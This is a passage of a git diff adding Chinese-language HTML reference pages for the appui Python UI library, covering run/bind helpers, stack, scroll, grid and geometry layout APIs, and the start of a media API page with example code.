+            card("Volume", volume_text()),
+            card("Selected", state.selected),
+        ],
+    )
+
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("bind", [
+                appui.Slider(**appui.bind(state, "volume"), minimum=0, maximum=1),
+            ]),
+            appui.Section("Grid helpers", [
+                grid,
+            ]),
+        ]).navigation_title("Functions")
+    )
+
+
+appui.run(body, state=state)
+
+

#函数签名

+
API签名
runrun(body_func: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None, state: Optional[Union[State, ReactiveState]] = None, hot_reload: bool = False, presentation: str = 'sheet', body: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None) -> None
dismissdismiss() -> None
presentation_presentpresentation_present(field_name: str, *, state: Optional[Union[State, ReactiveState]] = None, value: bool = True) -> bool
presentation_dismisspresentation_dismiss(field_name: str, *, state: Optional[Union[State, ReactiveState]] = None) -> bool
presentation_dismiss_allpresentation_dismiss_all(*, state: Optional[Union[State, ReactiveState]] = None) -> bool
dismiss_alldismiss_all(*, state: Optional[Union[State, ReactiveState]] = None) -> bool
animateanimate(action: Callable[[], None], type: str = 'default') -> None
auto_refreshauto_refresh(interval: float = 1.0) -> None
preloadpreload() -> None
bindbind(state: Union[State, ReactiveState], field_name: str, *, parse: Optional[Callable[[Any], Any]] = None, format: Optional[Callable[[Any], Any]] = None, validate: Optional[Callable[[Any], bool]] = None) -> Dict[str, Any]
computedcomputed(state: Union[State, ReactiveState], depends_on: Sequence[str]) -> Callable
effecteffect(state: Union[State, ReactiveState], depends_on: Sequence[str]) -> Callable
flexibleflexible(minimum: float = 10, maximum: Optional[float] = None) -> Dict[str, Any]
fixedfixed(size: float) -> Dict[str, Any]
adaptiveadaptive(minimum: float = 50, maximum: Optional[float] = None) -> Dict[str, Any]
grid_itemgrid_item(type: str = 'flexible', minimum: Optional[float] = None, maximum: Optional[float] = None, count: Optional[int] = None) -> Dict[str, Any]
custom_fontcustom_font(name: str, size: float = 17) -> str
+

#相邻 API 区别

+
API用法边界
bind vs on_changeSlider 这类 value 控件可以用 bindTextFieldTogglePicker 通常直接传当前值和 on_change
computed vs 手动字段派生数据用 computed,不要维护第二份 state.filtered_items
effect vs body() 副作用状态变化后的日志或同步用 effect;不要在 body() 里做副作用。
auto_refresh vs Timer简单原型可用 auto_refresh;正式页面用模块级 Timer 或明确回调。
flexible vs adaptive固定列数用多个 flexible;根据宽度自动改变列数用 adaptive
+

#常见错误

+
错误后果修正
在按钮回调里再次调用 run运行时状态混乱run 只在脚本末尾调用一次。
body() 里调用 dismiss()页面构建时直接关闭放到按钮或工具栏回调里。
bind 传给 TextField.text参数类型不对TextField(text=state.name, on_change=set_name)
auto_refresh 做复杂业务轮询刷新不可控使用 Timer、后台任务或明确刷新按钮。
普通页面绕过公开 API 更新界面可维护性差先查公开 AppUI API。
+

#相关文档

+
文档用途
快速上手最小 body()Staterun
状态管理computedeffectTimerReactiveState
布局系统网格列、Stack、ScrollView 和 safe area。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-layout-geometry/index.html b/docs/docs/pages/appui-ref-layout-geometry/index.html new file mode 100644 index 0000000..f39800f --- /dev/null +++ b/docs/docs/pages/appui-ref-layout-geometry/index.html @@ -0,0 +1,468 @@ + + + + + + 几何与特殊布局 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

几何与特殊布局 API

+

GeometryReader、ViewThatFits、Group、Overlay 和 SafeAreaInset。

+
+ +
+

GeometryReader / ViewThatFits / Group / Overlay / SafeAreaInset。

+
+

#GeometryReader

+

签名

+
+
+ text +
+
+
GeometryReader(content=None, on_change=None, onChange=None,
+               children=None, on_geometry=None, onGeometry=None)
+
+

参数

+
参数类型说明
content / childrenView \| list[View] \| None填充可用区域的内容。
on_change / onChange / on_geometry可调用 \| None尺寸变化时触发。默认传入单参数"宽度,高度" 形式的字符串(如 "390.0,844.0")。若回调在签名上接受两个必选位置参数,则运行时会拆分为 (width: float, height: float) 调用。
+

示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(w=0.0, h=0.0)
+
+
+def update_geometry(width, height):
+    state.batch_update(w=float(width), h=float(height))
+
+
+def body():
+    return appui.GeometryReader(
+        content=appui.VStack([
+            appui.Text(f"{state.w:.0f} × {state.h:.0f}").font("title3"),
+        ]),
+        on_change=update_geometry,
+    ).padding()
+
+appui.run(body, state=state, presentation="sheet")
+
+

参阅ViewThatFitsScrollView

+
+

#ViewThatFits

+

签名

+
+
+ text +
+
+
ViewThatFits(content=None)
+
+

参数

+
参数类型说明
contentlist[View] \| None按顺序尝试子视图,采用第一个可在当前约束下布局成功的方案。
+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.ViewThatFits([
+        appui.HStack([appui.Text("宽屏一行标题")]),
+        appui.VStack([appui.Text("窄屏"), appui.Text("两行标题")]),
+    ]).padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅HStackVStack

+
+

#Group

+

签名

+
+
+ text +
+
+
Group(content=None)
+
+

参数

+
参数类型说明
contentlist[View] \| None透明容器,不参与自身布局,用于组合或修饰器作用域。
+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.VStack([
+        appui.Group([
+            appui.Text("A"),
+            appui.Text("B"),
+        ]),
+    ], spacing=4).padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅VStackForEach

+
+

#Overlay

+

签名

+
+
+ text +
+
+
Overlay(content=None, overlay=None, alignment='center')
+
+

参数

+
参数类型说明
contentView \| None承载视图。
overlayView \| None叠放在上的视图。
alignmentstrZStack 相同的对齐关键字。
+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.Overlay(
+        content=appui.Image(system_name="bell"),
+        overlay=appui.Text("3").font("caption2").padding(4),
+        alignment="topTrailing",
+    ).padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅ZStackBadge

+
+

#SafeAreaInset

+

签名

+
+
+ text +
+
+
SafeAreaInset(edge='bottom', content=None)
+
+

参数

+
参数类型说明
edgestr嵌入安全区的一侧,如 bottom
contentView \| None持久显示的条带内容。
+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.VStack([
+        appui.Text("主内容区域").frame(max_height=appui.infinity),
+        appui.SafeAreaInset(
+            edge="bottom",
+            content=appui.Text("底部工具条").padding(),
+        ),
+    ])
+
+appui.run(body, presentation="sheet")
+
+

参阅VStackScrollView

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-layout-grids/index.html b/docs/docs/pages/appui-ref-layout-grids/index.html new file mode 100644 index 0000000..3beefca --- /dev/null +++ b/docs/docs/pages/appui-ref-layout-grids/index.html @@ -0,0 +1,520 @@ + + + + + + 网格 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

网格 API

+

LazyVGrid、LazyHGrid、Grid、GridRow 和轨道辅助函数。

+
+ +
+

LazyVGrid / LazyHGrid / Grid / GridRow 与轨道辅助函数 flexible / fixed / adaptive / grid_item。

+
+

#LazyVGrid

+

签名

+
+
+ text +
+
+
LazyVGrid(columns=None, content=None, spacing=None, children=None)
+
+

参数

+
参数类型说明
columnslist[dict] \| None列描述列表;缺省为 [{'type': 'flexible'}]
content / childrenlist[View] \| None网格单元视图。
spacing数值 \| None单元间距。
+

示例

+
+
+ python +
+
+
import appui
+
+cols = [
+    appui.flexible(minimum=40),
+    appui.flexible(minimum=40),
+    appui.fixed(50),
+]
+
+def body():
+    return appui.LazyVGrid(
+        columns=cols,
+        spacing=8,
+        content=[appui.Text(str(i)).frame(max_width=appui.infinity) for i in range(12)],
+    ).padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅flexiblefixedadaptiveLazyHGrid

+
+

#LazyHGrid

+

签名

+
+
+ text +
+
+
LazyHGrid(rows=None, content=None, spacing=None, children=None)
+
+

参数

+
参数类型说明
rowslist[dict] \| None行描述;缺省为 [{'type': 'flexible'}]
content / childrenlist[View] \| None子视图。
spacing数值 \| None间距。
+

示例

+
+
+ python +
+
+
import appui
+
+rows = [appui.flexible(), appui.fixed(36)]
+
+def body():
+    return appui.LazyHGrid(
+        rows=rows,
+        spacing=6,
+        content=[appui.Text(f"({i})") for i in range(8)],
+    ).padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅LazyVGridGrid

+
+

#Grid

+

签名

+
+
+ text +
+
+
Grid(content=None, alignment='center', horizontal_spacing=None, vertical_spacing=None,
+     horizontalSpacing=None, verticalSpacing=None)
+
+

参数

+
参数类型说明
contentlist[View] \| None通常由若干 GridRow 组成。
alignmentstr单元格对齐。
horizontal_spacing / vertical_spacing数值 \| None行/列间距。
+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.Grid(
+        content=[
+            appui.GridRow([appui.Text("A1"), appui.Text("B1")]),
+            appui.GridRow([appui.Text("A2"), appui.Text("B2")]),
+        ],
+        horizontal_spacing=12,
+        vertical_spacing=8,
+    ).padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅GridRowLazyVGrid

+
+

#GridRow

+

签名

+
+
+ text +
+
+
GridRow(content=None, alignment=None)
+
+

参数

+
参数类型说明
contentlist[View] \| None一行中的单元视图。
alignmentstr \| None行内对齐;None 表示默认。
+

示例

+

Grid

+

参阅GridHStack

+
+

#flexible

+

签名

+
+
+ text +
+
+
flexible(minimum=10, maximum=None)
+
+

参数

+
参数类型说明
minimum数值轨道最小尺寸。
maximum数值 \| None最大尺寸;None 表示不限制。
+

示例

+
+
+ python +
+
+
import appui
+
+row = [appui.flexible(minimum=60), appui.fixed(44)]
+print(row[0]["type"], row[1]["type"])
+
+

参阅LazyVGridfixed

+
+

#fixed

+

签名

+
+
+ text +
+
+
fixed(size)
+
+

参数

+
参数类型说明
size数值固定轨道尺寸。
+

示例

+
+
+ python +
+
+
import appui
+
+c = appui.fixed(120)
+assert c["type"] == "fixed"
+
+

参阅LazyVGridadaptive

+
+

#adaptive

+

签名

+
+
+ text +
+
+
adaptive(minimum=50, maximum=None)
+
+

参数

+
参数类型说明
minimum数值每个自适应单元最小宽度。
maximum数值 \| None可选上限。
+

示例

+
+
+ python +
+
+
import appui
+
+cols = [appui.adaptive(minimum=80)]
+print(len(cols), cols[0]["type"])
+
+

参阅LazyVGridflexible

+
+

#grid_item

+

签名

+
+
+ text +
+
+
grid_item(type='flexible', minimum=None, maximum=None, count=None)
+
+

参数

+
参数类型说明
typestr轨道类型:'flexible''fixed''adaptive'
minimum数值 \| None轨道最小尺寸。
maximum数值 \| None轨道最大尺寸;None 表示不限制。
countint \| None用于 adaptive 类型时的列数提示。
+

用途

+

通用网格轨道描述函数,返回 dict;与 flexiblefixedadaptive 功能等价,适合动态生成列/行描述。

+
+
+ python +
+
+
import appui
+
+cols = [appui.grid_item('flexible', minimum=60), appui.grid_item('fixed', minimum=44)]
+print(cols)
+
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-layout-scroll/index.html b/docs/docs/pages/appui-ref-layout-scroll/index.html new file mode 100644 index 0000000..2751ba0 --- /dev/null +++ b/docs/docs/pages/appui-ref-layout-scroll/index.html @@ -0,0 +1,373 @@ + + + + + + 滚动 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

滚动 API

+

ScrollView、ScrollViewReader、滚动方向和定位锚点。

+
+ +
+

ScrollView / ScrollViewReader。

+
+

#ScrollView

+

签名

+
+
+ text +
+
+
ScrollView(content=None, axes='vertical', shows_indicators=True, showsIndicators=None)
+
+

参数

+
参数类型说明
contentlist[View] \| View \| None可滚动区域;支持 with ScrollView(): 收集子视图。
axesstrverticalhorizontalboth
shows_indicatorsbool是否显示滚动指示条。
+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    with appui.ScrollView(axes="vertical") as sc:
+        for i in range(25):
+            appui.Text(f"段落 {i}").padding(horizontal=4)
+    return sc.padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅ScrollViewReaderLazyVStack

+
+

#ScrollViewReader

+

签名

+
+
+ text +
+
+
ScrollViewReader(content=None, axes='vertical', shows_indicators=True,
+                 scroll_to=None, anchor='top', showsIndicators=None, scrollTo=None,
+                 children=None)
+
+

参数

+
参数类型说明
content / childrenlist[View] \| None滚动内容。
axesstrScrollView
shows_indicatorsbool是否显示指示器。
scroll_to / scrollTo任意 \| None初始或受控滚动目标,需与子视图 .id(...) 对应。
anchorstr滚动对齐锚点,如 top
+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.ScrollViewReader(
+        content=[
+            appui.Text("顶部").id("top"),
+            appui.Spacer(min_length=400),
+            appui.Text("底部锚点").id("bottom"),
+        ],
+        axes="vertical",
+        scroll_to="bottom",
+        anchor="top",
+    ).padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅ScrollViewSpacer

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-layout-stacks/index.html b/docs/docs/pages/appui-ref-layout-stacks/index.html new file mode 100644 index 0000000..a72e56d --- /dev/null +++ b/docs/docs/pages/appui-ref-layout-stacks/index.html @@ -0,0 +1,524 @@ + + + + + + 堆叠布局 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

堆叠布局 API

+

VStack、HStack、ZStack、Lazy stacks、Spacer 和 Divider。

+
+ +
+

VStack / HStack / ZStack / LazyVStack / LazyHStack / Spacer / Divider。

+
+

#VStack

+

签名

+
+
+ text +
+
+
VStack(content=None, alignment='center', spacing=None)
+
+

参数

+
参数类型说明
contentlist[View] \| None子视图列表;亦可配合上下文管理器收集子级。
alignmentstr横轴对齐(如 centerleadingtrailing 等,由运行时映射)。
spacing数值 \| None子视图间距;None 为系统默认。
+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    with appui.VStack(spacing=12) as root:
+        appui.Text("标题").font("title2").bold()
+        appui.Text("说明文案").font("body").foreground_color("secondaryLabel")
+    return root.padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅HStackZStackLazyVStack

+
+

#HStack

+

签名

+
+
+ text +
+
+
HStack(content=None, alignment='center', spacing=None)
+
+

参数

+

VStack 相同;对齐沿纵轴解释。

+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.HStack([
+        appui.Image(system_name="star.fill").foreground_color("systemYellow"),
+        appui.Text("收藏").font("headline"),
+        appui.Spacer(),
+        appui.Text("详情").font("subheadline"),
+    ], spacing=8).padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅VStackSpacer

+
+

#ZStack

+

签名

+
+
+ text +
+
+
ZStack(content=None, alignment='center')
+
+

参数

+
参数类型说明
contentlist[View] \| None层叠子视图,后者绘制在上层。
alignmentstrcenterleadingtrailingtopbottomtopLeadingtopTrailingbottomLeadingbottomTrailing
+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.ZStack([
+        appui.RoundedRectangle(corner_radius=16).fill("systemBlue").frame(width=200, height=120),
+        appui.VStack([
+            appui.Text("前景").foreground_color("white").bold(),
+            appui.Text("叠放").font("caption").foreground_color("white"),
+        ]),
+    ], alignment="center").padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅OverlayVStack

+
+

#LazyVStack

+

签名

+
+
+ text +
+
+
LazyVStack(content=None, alignment='center', spacing=None)
+
+

参数

+

VStack。惰性创建子项,适合长列表中的纵向堆叠。

+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.ScrollView(
+        appui.LazyVStack(
+            content=[appui.Text(f"行 {i}") for i in range(40)],
+            spacing=6,
+        ),
+        axes="vertical",
+    )
+
+appui.run(body, presentation="sheet")
+
+

参阅LazyHStackScrollView

+
+

#LazyHStack

+

签名

+
+
+ text +
+
+
LazyHStack(content=None, alignment='center', spacing=None)
+
+

参数

+

LazyVStack,轴向为水平。

+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.ScrollView(
+        appui.LazyHStack(
+            content=[appui.Text(f"·{i}") for i in range(30)],
+            spacing=10,
+        ),
+        axes="horizontal",
+        shows_indicators=True,
+    )
+
+appui.run(body, presentation="sheet")
+
+

参阅HStackScrollView

+
+

#Spacer

+

签名

+
+
+ text +
+
+
Spacer(min_length=None, minLength=None)
+
+

参数

+
参数类型说明
min_length / minLength数值 \| None在所在堆栈中占据弹性空白的最小长度。
+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.HStack([
+        appui.Text("左"),
+        appui.Spacer(min_length=24),
+        appui.Text("右"),
+    ]).padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅HStackVStack

+
+

#Divider

+

签名

+
+
+ text +
+
+
Divider()
+
+

参数

+

无参数构造。

+

示例

+
+
+ python +
+
+
import appui
+
+def body():
+    return appui.VStack([
+        appui.Text("上"),
+        appui.Divider(),
+        appui.Text("下"),
+    ], spacing=8).padding()
+
+appui.run(body, presentation="sheet")
+
+

参阅VStackSection

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-layout/index.html b/docs/docs/pages/appui-ref-layout/index.html new file mode 100644 index 0000000..f3f562f --- /dev/null +++ b/docs/docs/pages/appui-ref-layout/index.html @@ -0,0 +1,370 @@ + + + + + + 布局 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

布局 API

+

Stack、ScrollView、List/Form、Grid 和 GeometryReader。

+
+ +
+

本页查 Stack、ScrollView、List/Form、Grid、GeometryReader 和数据展示容器的签名。怎么选择布局结构见 布局系统

+

#分篇速查

+
分篇适合查询
堆叠布局 APIVStackHStackZStackLazyVStackLazyHStackSpacerDivider
滚动 APIScrollViewScrollViewReader、滚动方向、初始定位和锚点。
网格 APILazyVGridLazyHGridGridGridRowflexiblefixedadaptivegrid_item
几何与特殊布局 APIGeometryReaderViewThatFitsGroupOverlaySafeAreaInset
环境值 APIenvironment_valuepreferred_color_schemelocalelayout_direction、动态字体和文本环境。
+

#什么时候用

+
目标API
纵向/横向组合VStackHStack
层叠覆盖ZStackOverlay
自定义滚动内容ScrollViewLazyVStack
程序化滚动ScrollViewReader
卡片网格LazyVGridLazyHGridGrid
原生动态列表ListForEach
设置和编辑页FormSection
空状态和进度ContentUnavailableViewProgressView
大屏表格Table
+

#容器组合示例

+

同一页面可以同时使用 FormListLazyVGrid,但要让每个容器负责自己擅长的结构。

+
+
+ python +
+
+
import appui
+
+cards = [
+    {"id": "a", "title": "Alpha"},
+    {"id": "b", "title": "Beta"},
+    {"id": "c", "title": "Gamma"},
+]
+
+
+def card_key(item):
+    return item["id"]
+
+
+def card_view(item):
+    return (
+        appui.Text(item["title"])
+        .frame(max_width=appui.infinity, min_height=72)
+        .background("secondarySystemBackground", corner_radius=8)
+    )
+
+
+def body():
+    grid = appui.LazyVGrid(
+        columns=[appui.adaptive(minimum=120)],
+        spacing=12,
+        content=[appui.ForEach(cards, row_builder=card_view, key=card_key)],
+    )
+
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Form", [
+                appui.LabeledContent("Container", value="Form"),
+            ]),
+            appui.Section("Grid", [
+                grid,
+            ]),
+        ]).navigation_title("Layout")
+    )
+
+
+appui.run(body)
+
+

#布局签名

+
API签名分类
VStackVStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)layout
HStackHStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)layout
ZStackZStack(content: Optional[Sequence[View]] = None, alignment: str = 'center')layout
LazyVStackLazyVStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)layout
LazyHStackLazyHStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)layout
ScrollViewScrollView(content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, showsIndicators: Optional[bool] = None)layout
ScrollViewReaderScrollViewReader(content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, scroll_to: Optional[str] = None, anchor: str = 'top', showsIndicators: Optional[bool] = None, scrollTo: Optional[str] = None, children: Optional[ViewChild] = None)layout
LazyVGridLazyVGrid(columns: Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, spacing: Optional[float] = None, children: Optional[Sequence[View]] = None)layout
LazyHGridLazyHGrid(rows: Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, spacing: Optional[float] = None, children: Optional[Sequence[View]] = None)layout
GridGrid(content: Optional[Sequence[View]] = None, alignment: str = 'center', horizontal_spacing: Optional[float] = None, vertical_spacing: Optional[float] = None, horizontalSpacing: Optional[float] = None, verticalSpacing: Optional[float] = None)layout
GridRowGridRow(content: Optional[Sequence[View]] = None, alignment: Optional[str] = None)layout
GeometryReaderGeometryReader(content: Optional[ViewChild] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, children: Optional[ViewChild] = None, on_geometry: Optional[Callable] = None, onGeometry: Optional[Callable] = None)layout
ViewThatFitsViewThatFits(content: Optional[Sequence[View]] = None)layout
GroupGroup(content: Optional[Sequence[View]] = None)layout
OverlayOverlay(content: Optional[View] = None, overlay: Optional[View] = None, alignment: str = 'center')layout
SafeAreaInsetSafeAreaInset(edge: str = 'bottom', content: Optional[View] = None)layout
SpacerSpacer(min_length: Optional[float] = None, minLength: Optional[float] = None)layout
DividerDivider()layout
+

#数据容器

+
API签名分类
ListList(content: Optional[Sequence[View]] = None)collection
ForEachForEach(data: Any, row_builder: Optional[Callable] = None, key: Optional[Callable] = None, rowBuilder: Optional[Callable] = None, content: Optional[Callable] = None)collection
FormForm(content: Optional[Sequence[View]] = None)collection
SectionSection(content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None, key: Optional[str] = None)collection
GroupBoxGroupBox(label: Optional[str] = None, content: Optional[ViewChild] = None, children: Optional[Sequence[View]] = None)collection
DisclosureGroupDisclosureGroup(label: str = '', is_expanded: Optional[bool] = None, content: Optional[ViewChild] = None, isExpanded: Optional[bool] = None, children: Optional[ViewChild] = None)collection
LabeledContentLabeledContent(label: str = '', value: Optional[str] = None, content: Optional[View] = None)collection
TableTable(data: Optional[Sequence[Dict[str, Any]]] = None, columns: Optional[Sequence[Dict[str, str]]] = None, on_select: Optional[Callable] = None, onSelect: Optional[Callable] = None)collection
ControlGroupControlGroup(label: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None)control
ContentUnavailableViewContentUnavailableView(title: str = '', system_image: Optional[str] = None, description: Optional[str] = None, systemImage: Optional[str] = None)presentation
ProgressViewProgressView(label: Optional[str] = None, value: Optional[float] = None, total: float = 1.0)feedback
LinkLink(title: str = '', url: str = '')control
GaugeGauge(value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, label: str = '', minValue: Optional[float] = None, maxValue: Optional[float] = None)feedback
ShareLinkShareLink(item: str = '', subject: Optional[str] = None, message: Optional[str] = None)control
BadgeBadge(count: Optional[int] = None, text: Optional[str] = None)presentation
TimelineViewTimelineView(interval: float = 1.0, content: Optional[View] = None)feedback
+

#相邻 API 区别

+
API用法边界
List vs ScrollView动态行列表用 List;完全自定义滚动视觉才用 ScrollView
Form vs VStack设置和编辑页用 Form;普通局部排列用 VStack
LazyVGrid vs Grid卡片网格用 LazyVGrid;需要严格行列对齐用 Grid
Overlay vs .overlay(...)简单叠加优先用修饰符;需要显式节点时用 Overlay
ContentUnavailableView vs 空 Text空状态用 ContentUnavailableView,不要让列表区域空白。
+

#常见错误

+
错误后果修正
VStack(children=[...])构造参数不匹配VStack([...], spacing=...)
Section(content=List(...))嵌套滚动容器List([Section("Title", rows)])
动态列表没有 key搜索、删除后行身份不稳ForEach(data, row_builder=..., key=...)
用自绘卡片模拟设置页信息密度低,键盘和辅助功能差Form + Section
把重型媒体放进列表行滚动后可能空白或状态丢失媒体放稳定区域,控制项放 Form/List
+

#相关示例

+
文档用途
布局系统Stack、ScrollView、Grid、List/Form 的选择。
示例:待办列表完整 List、ForEach、搜索和稳定 id。
示例:仪表盘LazyVGrid 和卡片布局。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-media/index.html b/docs/docs/pages/appui-ref-media/index.html new file mode 100644 index 0000000..88c1aa3 --- /dev/null +++ b/docs/docs/pages/appui-ref-media/index.html @@ -0,0 +1,585 @@ + + + + + + 媒体 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

媒体 API

+

Image、AsyncImage、PhotoPicker、CameraPicker、VideoPlayer、WebView 和 MapView。

+
+ +
+

本页覆盖图片、相册、相机、文件导入、地图、网页、视频和图标标题。媒体视图仍然是普通 View,可以继续使用 .frame(...).padding(...).background(...).clipped() 等修饰符。

+

#什么时候用

+
目标首选 API说明
SF Symbol 或本地图片Image图标、资产目录图片、可缩放图片。
网络图片AsyncImage支持占位视图和失败视图。
图标 + 标题Label按钮、列表行、Tab、菜单项里的标准图标标题。
从相册选择PhotoPicker选择图片或视频,回调返回路径列表。
拍照或录像CameraPicker使用系统相机,回调返回路径字符串。
从文件导入FileImporter打开系统文件选择器,回调返回导入文件路径列表。
视频播放VideoPlayer内联或全屏视频播放,支持 AirPlay、PiP。
播放器控制PlayerController复用同一个原生播放器实例,控制播放、暂停、进度、倍速、音量和事件回调。
网页内容WebView加载 URL 或内联 HTML。
地图展示MapView显示 Apple Maps、中心点、缩放跨度和标记。
+

#最小正确示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(status="Ready", picked_count=0, imported_count=0)
+
+
+def image_loaded():
+    state.status = "Image loaded"
+
+
+def image_failed():
+    state.status = "Image failed"
+
+
+def receive_photos(paths):
+    state.picked_count = len(paths or [])
+    state.status = f"Picked {state.picked_count} item(s)"
+
+
+def receive_files(paths):
+    state.imported_count = len(paths or [])
+    state.status = f"Imported {state.imported_count} file(s)"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("Image", [
+                appui.AsyncImage(
+                    url="https://www.w3.org/Icons/w3c_home",
+                    placeholder=appui.ProgressView(label="Loading"),
+                    error_view=appui.Label("Failed", system_image="wifi.slash"),
+                    content_mode="fit",
+                    on_success=image_loaded,
+                    on_failure=image_failed,
+                )
+                .frame(height=90)
+                .background("secondarySystemBackground", corner_radius=8),
+            ]),
+            appui.Section("Picker", [
+                appui.PhotoPicker(
+                    selection_limit=2,
+                    filter="images",
+                    on_picked=receive_photos,
+                    label=appui.Label("Choose Photos", system_image="photo.on.rectangle"),
+                ),
+                appui.Text(state.status).font("footnote").foreground_color("secondaryLabel"),
+            ]),
+            appui.Section("Files", [
+                appui.FileImporter(
+                    allowed_types=["text", "pdf", "csv"],
+                    allows_multiple=True,
+                    on_picked=receive_files,
+                    label=appui.Label("Import Files", system_image="doc.badge.plus"),
+                ),
+            ]),
+        ]).navigation_title("Media")
+    )
+
+
+appui.run(body, state=state)
+
+

#图片和标签

+
API签名分类
ImageImage(name: Optional[str] = None, system_name: Optional[str] = None, systemName: Optional[str] = None)media
LabelLabel(title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None)text
AsyncImageAsyncImage(url: str = '', placeholder: Optional[View] = None, error_view: Optional[View] = None, content_mode: str = 'fit', on_success: Optional[Callable] = None, on_failure: Optional[Callable] = None)media
+

#Image 方法

+
方法说明
.resizable()允许图片按 frame 缩放。
.aspect_ratio(ratio=None, content_mode='fit', **kwargs)设置宽高比和填充模式;content_mode"fit""fill"
.symbol_rendering_mode(mode)SF Symbol 渲染:"hierarchical""palette""multicolor""monochrome"
.image_scale(scale)SF Symbol 尺寸:"small""medium""large"
+
+
+ python +
+
+
import appui
+
+
+def body():
+    symbol = (
+        appui.Image(system_name="heart.fill")
+        .symbol_rendering_mode("multicolor")
+        .image_scale("large")
+        .foreground_color("systemPink")
+    )
+
+    photo = (
+        appui.Image(name="example")
+        .resizable()
+        .aspect_ratio(content_mode="fit")
+        .frame(height=90)
+        .background("secondarySystemBackground", corner_radius=8)
+    )
+
+    return appui.NavigationStack(
+        appui.VStack([symbol, photo], spacing=16)
+        .padding()
+        .navigation_title("Images")
+    )
+
+
+appui.run(body)
+
+

#相册、相机和文件导入

+
API签名分类
PhotoPickerPhotoPicker(selection_limit: int = 1, filter: str = 'images', on_picked: Optional[Callable] = None, label: Optional[View] = None, selectionLimit: Optional[int] = None, onPicked: Optional[Callable] = None, **kwargs: Any)media
CameraPickerCameraPicker(source: str = 'camera', media_type: str = 'photo', on_captured: Optional[Callable] = None, label: Optional[View] = None, mediaType: Optional[str] = None, onCaptured: Optional[Callable] = None, **kwargs: Any)media
FileImporterFileImporter(allowed_types: Optional[Union[str, Sequence[str]]] = None, allows_multiple: bool = False, copy: bool = True, on_picked: Optional[Callable] = None, label: Optional[View] = None, allowedTypes: Optional[Union[str, Sequence[str]]] = None, allowsMultiple: Optional[bool] = None, onPicked: Optional[Callable] = None, **kwargs: Any)media
+

回调契约:PhotoPicker.on_picked(paths)FileImporter.on_picked(paths) 接收路径字符串列表;CameraPicker.on_captured(path) 接收单个路径字符串或空值。用户可能拒绝权限、取消选择或设备不可用,回调中要处理空路径和空列表。

+
+
+ python +
+
+
import appui
+
+state = appui.State(last_path="")
+
+
+def receive_capture(path):
+    state.last_path = path or "No file"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Camera", [
